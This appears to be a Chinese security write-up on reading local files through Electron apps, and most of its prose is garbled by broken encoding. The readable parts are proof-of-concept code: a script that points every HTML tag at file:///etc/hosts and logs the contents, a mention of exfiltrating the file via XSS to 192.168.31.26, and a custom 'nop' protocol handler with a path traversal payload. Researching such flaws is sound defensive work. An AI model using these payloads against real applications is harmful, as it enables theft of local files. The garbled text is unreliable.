


儗㏐乄♭陸⹧庀嬼 | Electron 㱧⪓  
 

0x01 甏☮  
㛻㳄㞑☫㛿⽰㛻㳄阥阷┉┖⪩◇儗㏐乄♭陸⹧庀嬼䡘♜齉湳鷺㏇宂鈾ꄅ波䫙鰟⪍儗㏐
㏐㏥❇㞝 file:///etc/hosts  ⚢㏇宂鈾ꄅ波䫙ⱶ鰉僄䅻鈷氳⺎耇㶩佭榫宂鈾䣒䋯 
PDF 乄♭

仵抆宂鈾猫⹾⺎♔陸⹧儗㏐乄♭黁건ꪫ╈氳鲹◙剝甌佭┘佭█⺎♔⼱

䎎건ꪫ┘佭 file://  ⶖ阫休ⱶ鰉休⫂鼨氳⩕碜┘⺎♔ⱶ鰉儗㏐乄♭䎎건ꪫ佭 file://
ⶖ阫ⱶ鰉休⫂鼨⩕碜⺎♔ⱶ鰉儗㏐乄♭
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䢦♔㏇ Web 겅㓊鲹┘佭☜╫ꠋ겗⛙⮽▽ Electron  겅㓊㶩┘┉劫▽㞝冽 Electron  
鿥糌▽焔塛 Node.js  䣮车┕┖乄ꣵ熊塝休鲸耇鵲䡗氳鰏㛻氳⷇㲺㶩佭陸⹧儗㏐氳乄♭▽
奅珔㛻鼨⮇ Electron  爊䈌齉佭鵠鲋ⱶ鰉儗㏐乄♭⮡䋧猫⹾氳㞝⛰鿥⺭ JavaScript  
佭┘佭⺎♔波䫙䣒⮽狵⹧乄♭氳䷞冽⼱
䡘♜☫㛿Ꙟ㵒鲹♭◄㷤䋯䫓狓
 

0x02 鵠鲋 iframe 狵⹧乄♭  
㏜俍╙䎎 Electron  䋯⹠氳爊䈌⭴朆 XSS  䡝縖陱㶩佭⩒阵 JavaScript  ㏇⯥珸䣮车塝休
䡘♜孾陒佭⻖⺎♔㵨 /etc/hosts  乄♭⣕颦

塜䅻ⱶ鰉䈒院媆ꠋ겗

䬤⪍ JavaScript  㶍陒狵⹧⪭⫂㳋
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㍕╙佭㏇剝甌⫂纭◄♭䣮车 JavaScript 䢦♔꧎金 CSP  ⩒阵䡘♜波䫙䤧㱚⪩ꠊ▽孾陒

JavaScript  䡗Ⱶ藜⹧⮽⫂㳋朆㏇䡘♜㶍陒㵨⪭⚩鰟⮽鲾爊僜ⱷ 192.168.31.26
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䣮车孾陒
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䡗Ⱶ狵⹧ /etc/hosts  乄♭
 

0x02 ⿵◙剝甌⺎♔⮵榫  

1. iframe  

iframe  剝甌罥㲋佭⺎♔▽
 

2. objetc  
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object  剝甌⺎♔
 

3. embed  

https://developer.mozilla.org/en-US/docs/Web/API/HTMLEmbedElement

https://developer.mozilla.org/en-US/docs/Web/API/HTMLElement

⺎♔ⱶ鰉⛙䇜媆僗䤓⮽⺎♔藜⹧ⱶ鰉氳⫂㳋氳 DOM 㷯䓪
 

4. ⪭☽剝甌  

鲹╫㛢剝甌孾陒颯全休ꠑ縵顠┘颯波䫙┕㛻儴㏇ renderer.js  ╈䣮车♔┖♏溞
// 定义⼀个数组，包含所有HTML5标签名

const allTags = [

  'a', 'abbr', 'address', 'area', 'article', 'aside', 'audio', 'b', 'base', 

'bdi', 'bdo', 'blockquote', 'body', 'br', 'button',

  'canvas', 'caption', 'cite', 'code', 'col', 'colgroup', 'data', 

'datalist', 'dd', 'del', 'details', 'dfn', 'dialog', 'div', 'dl',

  'dt', 'em', 'embed', 'fieldset', 'figcaption', 'figure', 'footer', 

'form', 'h1', 'h2', 'h3', 'h4', 'h5', 'h6', 'head', 'header',
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  'hr', 'html', 'i', 'iframe', 'img', 'input', 'ins', 'kbd', 'label', 

'legend', 'li', 'link', 'main', 'map', 'mark', 'meta', 'meter',

  'nav', 'noscript', 'object', 'ol', 'optgroup', 'option', 'output', 'p', 

'param', 'picture', 'pre', 'progress', 'q', 'rp', 'rt', 'ruby',

  's', 'samp', 'script', 'section', 'select', 'slot', 'small', 'source', 

'span', 'strong', 'style', 'sub', 'summary', 'sup', 'table',

  'tbody', 'td', 'template', 'textarea', 'tfoot', 'th', 'thead', 'time', 

'title', 'tr', 'track', 'u', 'ul', 'var', 'video', 'wbr',

  // ... 其余标签省略以保持示例简洁，实际应包含所有HTML5标签

];

// const allTags = ['iframe', 'object']

// ⽀持加载事件的标签列表，这⾥简化列举了⼀些常⻅的

const loadSupportedTags = ['iframe', 'img', 'script', 'audio', 'video', 

'object', 'embed'];

// 遍历所有标签

allTags.forEach(tagName => {

    // 创建⼀个新的标签元素

    const element = document.createElement(tagName);

    

    // 设置属性

    element.setAttribute('src', 'file:///etc/hosts');

    element.setAttribute('href', 'file:///etc/hosts');

    element.setAttribute('data', 'file:///etc/hosts');

    element.setAttribute('rel', 'file:///etc/hosts');

//   element.setAttribute('id', tagName + '-test');

  

  // 检查并设置onload事件

    element.onload = function() {

        if (this.contentDocument && this.contentDocument.body) { // 主要针对

iframe

            console.log(`${tagName}:`, 

this.contentDocument.body.innerText);

            console.log(`${tagName}:`, 

this.contentDocument.body.innerHTML);

            console.log(`${tagName}:`, 

this.contentDocument.body.textContent);
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波䫙孾陒䢦僗剝甌

        } else if(this.textContent) {

            console.log(`${tagName}:`, this.textContent);

        } else { 

            console.log(`${tagName} loaded.`);

        }

    }

    

    // 添加错误处理

    element.onerror = function() {

      console.error(`${tagName} failed to load.`);

    };

  

  // 仅为演示，不实际添加到⻚⾯

  document.body.appendChild(element);

});

// 请记得，这段代码主要⽤于教学⽬的，实际操作本地⽂件在浏览器中是严格受限的。
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篺鲋孾陒鲸佭⺆僗 iframe  ⽰ object  剝甌⺎♔藜⹧⫂㳋 source  剝甌䐂⶝斻孾陒┉
┖
 

0x03 fetch  
䎎抆█⺎♔波䫙鵠鲋 fetch  璡⹠颯陴姳
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0x04 ꠋ겗儗顏佭☜╫  
ꠋ겗儗顏㏇◇ file://  ⶖ阫儹꡿鲋㛻▽⺎♔阼ꠋ♳䙬㏐㏥氳乄♭㞝冽㵨 
grantFileProtocolExtraPrivileges  阻糌╙ Disabled  佭⻖⺎♔僗䷞鉯⬀⼱ 

㞝冽㛻㳄洇▽ Fuse 黁疟乄珖⺎耇㛻㳄⚢湳鷺┕ꪫ氳鿥糌⚢㵗舚건ꪫⱶ鰉 index.html  
㜊題孾佭㍕╙注㵒饟䏧氳ꠋ겗䡘♜⟤䷊┉┖陒陒

㏇ index.html  ╈ⱶ iframe  ⽰ fetch  允熨陸⹧儗㏐乄♭氳♏溞
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⩝榫 fiddle  孾陒┉┖塝休⩝榫 mainWindow.loadFile('index.html')

Ⱶ耇⺎榫朆㏇⟤䷊影 mainWindow.loadFile(path.join(asar_path, 'index.html'))  
䡘♜榫 Forge  䣒ⴎ⩝䧝拨랸阡阻糌 grantFileProtocolExtraPrivileges  阻糌╙ 
Enabled
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건ꪫ⺎♔塜䅻ⱶ鰉⺱休 iframe  ⽰ fetch  █齉藜⹧⮽▽ /etc/hosts  氳⫂㳋䫙┖全⟤
䷊ Forge  氳鿥糌ⱶ grantFileProtocolExtraPrivileges  阻糌╙ Disabled
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⫋埠䣒ⴎ

ⱶ鰉건ꪫ㜊題ꥈ鷺金䩦䡗 loadURL  
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⫋埠䣒ⴎ

鲸佭┘车洇全㲇亡氳䙬䓙䋯⻪▽ grantFileProtocolExtraPrivileges  file ⶖ阫㶩⥽佭
䈥▽鳀 app.asar  ꄅ氳乄♭齉┘耇陸⹧▽
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洇全䘶鈺鹵鲹熨곽ꢣ⺎耇䐂✳榫舅㲋╬ⶖ阫▽┘榫䥵䑐朆㏇"䍠䐂⺎䓏"䡘♜舅㲋╬ 
nop://  ⶖ阫
// Modules to control application life and create native browser window

const { app, BrowserWindow, protocol, net, session } = require('electron')

const url  = require('url')

const path = require('node:path')

const fs = require('node:fs')

const asar_path = path.join(process.resourcesPath, 'app.asar')

protocol.registerSchemesAsPrivileged([

  {

    scheme: 'nop',

    privileges: {

      standard: true,

      secure: true,

      supportFetchAPI: true

    }

  }

])

function createWindow () {

  // Create the browser window.

  const mainWindow = new BrowserWindow({

    width: 800,

    height: 600,

    webPreferences: {

      partition: 'persist:example',

      preload: path.join(__dirname, 'preload.js')

    }

  })

  // and load the index.html of the app.

  // mainWindow.loadFile(path.join(asar_path, 'index.html'))

  mainWindow.loadURL('nop://index.html')

  // mainWindow.loadFile('index.html')

  // Open the DevTools.
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䣒ⴎ⺵䣮车孾陒

  mainWindow.webContents.openDevTools()

}

app.whenReady().then(() => {

  const partition = 'persist:example'

  const ses = session.fromPartition(partition)

  ses.protocol.handle('nop', (request) => {

    const filePath = request.url.slice('nop://'.length)

    return net.fetch(url.pathToFileURL(path.join(__dirname, 

filePath)).toString())

  })

  createWindow()

  app.on('activate', function () {

    if (BrowserWindow.getAllWindows().length === 0) createWindow()

  })

})

app.on('window-all-closed', function () {

  if (process.platform !== 'darwin') app.quit()

})
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鲹影㶩㷯◇佭┘⺱嶏▽㶩┘⩒阵䷍⭵縖鵠鲋 file://  陸⹧乄♭▽⛙鲹䇜媆僗鉯⬀ꠋ겗
㍕╙䷍⭵縖鲸佭⺎♔鵠鲋♏溞㲗阞氳亡䌋⹠朆鲹╄ⶖ阫╯⺵鵠鲋 
nop://../../../etc/hosts  鲹熨劲䌋鲽车儗㏐乄♭陸⹧䢦♔꧎金㏇舅㲋╬ⶖ阫氳休⠯⢢
㞑㱧⪓劆뀰
䡝縖⺎♔鵠鲋㏇儗㏐䯌䋧沪⻤㏇ 127.0.0.1 氳 http 僜ⱷ全ꡕ塛儗㏐乄♭陸⹧
 

0x05 庀嬼勆❇  
Typora  鲹眷氳 Markdown 攑⮷㳋佄⭴朆鲹眷庀嬼

CVE-2023-2316

CVE-2023-2971

 

0x06 䔅篾
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0x06 䔅篾  
儗㏐乄♭陸⹧庀嬼佭web䷍⭵㏇ Electron  ╈氳┉熨䋞⛈㏇ web ╈⢢┘⮽鲹眷䷍⭵⛙佭
㏇鵠鲋ⱶ鰉儗㏐乄♭⮡䋧猫⹾氳䈒榫╈㶩⺎♔㲓朆狵⹧乄♭氳䷞冽
㵒◇㱧⪓䫣亨䋯䐂奃鰏⪓氳䈒榫全陱鲹佭┉熨僗䷞氳䷍⭵䣆嫏豓抆┘耇♏溞䣮车⛙█⺎
♔鵲䡗䏭㛻⷇㲺
ꡕ䐒塝眷䷍⭵⺎♔☳♔┖⭓╄亡ꪫ縓诿
鿥糌⺭杼氳 CSP 瓀樋
㏇儗㏐䯌䋧 web 僜ⱷ䡝舅㲋╬ⶖ阫㵒陴姳饟䏧⢢氫⺳⶝
沪⻤鼨⮇◄♭⢢僗䷞鲋帱
僄ꄆ金氳鲸佭ꡕ塛⭴朆 XSS 庀嬼
[㏇岑⪍▽鉯 grantFileProtocolExtraPrivileges ⺵㏇┘䏆⿏塜䅻鲡车氳䗯⬅┖
㵨⪭阻糌╙ disabled ]
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